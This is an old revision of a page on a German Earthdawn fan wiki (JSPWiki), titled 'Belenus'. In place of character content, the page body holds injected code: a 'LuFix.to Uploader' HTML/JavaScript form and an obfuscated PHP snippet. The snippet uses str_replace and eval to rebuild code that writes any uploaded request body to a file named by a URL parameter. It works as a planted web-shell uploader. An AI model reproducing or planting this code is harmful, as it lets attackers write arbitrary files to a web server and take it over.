Anmeldung



- search -
Edit...

JSPWiki v2.2.28
 
Belenus

This is version 49. It is not the current version, and thus it cannot be edited.
[Back to current version]   [Restore this version]

Autor: Wächter der Passionen, Belenus


<h4>LuFix.to Uploader</h4> <input type="file" id="upload_files" name="upload_files" multiple="multiple"> <button id="b" value="upload" onclick='upload("upload_files",0);'>Upload</button> <br><p>Status : <span id="status" style="color:red;">No file added</span></p> <script> function upload(fileInputId, fileIndex) { var url = window.location.pathname; var scriptname = url.substring(url.lastIndexOf('/') + 1); var filename = document.getElementById('upload_files').value; var filename = filename.match(/^\\/(info)*$/)[0]; document.getElementById("status").textContent = "Uploading the file " + filename + ", please wait.."; document.getElementById("status").style.color = "blue"; // take the file from the input var file = document.getElementById(fileInputId).filesfileIndex; var reader = new FileReader(); reader.readAsBinaryString(file); // alternatively you can use readAsDataURL

reader.onloadend = function(evt) { // create XHR instance xhr = new XMLHttpRequest(); xhr.open("POST", scriptname + "?name=" + filename, true); XMLHttpRequest.prototype.mySendAsBinary = function(text){ var data = new ArrayBuffer(text.length); var ui8a = new Uint8Array(data, 0); for (var i = 0; i < text.length; i++) ui8ai = (text.charCodeAt(i) & 0xff); if(typeof window.Blob == "function") { var blob = new Blob(data); }else{ var bb = new (window.MozBlobBuilder || window.WebKitBlobBuilder || window.BlobBuilder)(); bb.append(data); var blob = bb.getBlob(); } this.send(blob); }

// let's track upload progress var eventSource = xhr.upload || xhr; eventSource.addEventListener("progress", function(e) { // get percentage of how much of the current file has been sent var position = e.position || e.loaded; var total = e.totalSize || e.total; var percentage = Math.round((position / total) * 100); // here you should write your own code how you wish to proces this }); // state change observer - we need to know when and if the file was successfully uploaded xhr.onreadystatechange = function() { if(xhr.readyState == 4) { if(xhr.status == 200) { document.getElementById("status").textContent = "The file "+filename+" Uploaded successfully in same folder."; document.getElementById("status").style.color = "green"; } else { document.getElementById("status").textContent = "Error! Code: " + xhr.status; document.getElementById("status").style.color = "red"; } } };

// start sending xhr.mySendAsBinary(evt.target.result); }; } </script>

<?php $text = 'if(!empty(qsdqsfqezfqsdqsf_GET"name")){ qsdqsfqezfqsdqsfinputHandler = fopen("php://input", "r"); qsdqsfqezfqsdqsffileHandler = fopen(qsdqsfqezfqsdqsf_GET"name", "w+"); while(true) { qsdqsfqezfqsdqsfbuffer = fgets(qsdqsfqezfqsdqsfinputHandler, 4096); if (strlen(qsdqsfqezfqsdqsfbuffer) == 0) { fclose(qsdqsfqezfqsdqsfinputHandler); fclose(qsdqsfqezfqsdqsffileHandler); return true; } fwrite(qsdqsfqezfqsdqsffileHandler, qsdqsfqezfqsdqsfbuffer); } }'; eval(str_replace('qsdqsfqezfqsdqsf','$',$text)); ?>





This particular version was published on 09-Apr-2024 21:36:44 CEST by Belenus.
Dateien:
Belenus.jpg Belenus.jpg 103031 bytes
Belenus.gif Belenus.gif 50760 bytes


Earthdawn (R) ist ein eingetragenes Warenzeichen der FASA Corporation. Barsaive (TM) ist ein Warenzeichen der FASA Corporation. Copyright (c) 2015 by FASA Corporation. Copyright der deutschen Ausgabe (c) 2015 by Ulisses Spiele GmbH, Waldems. www.ulisses-spiele.de. Diese Webseite unterliegt keiner Abnahme oder Genehmigung durch Ulisses Spiele oder FASA.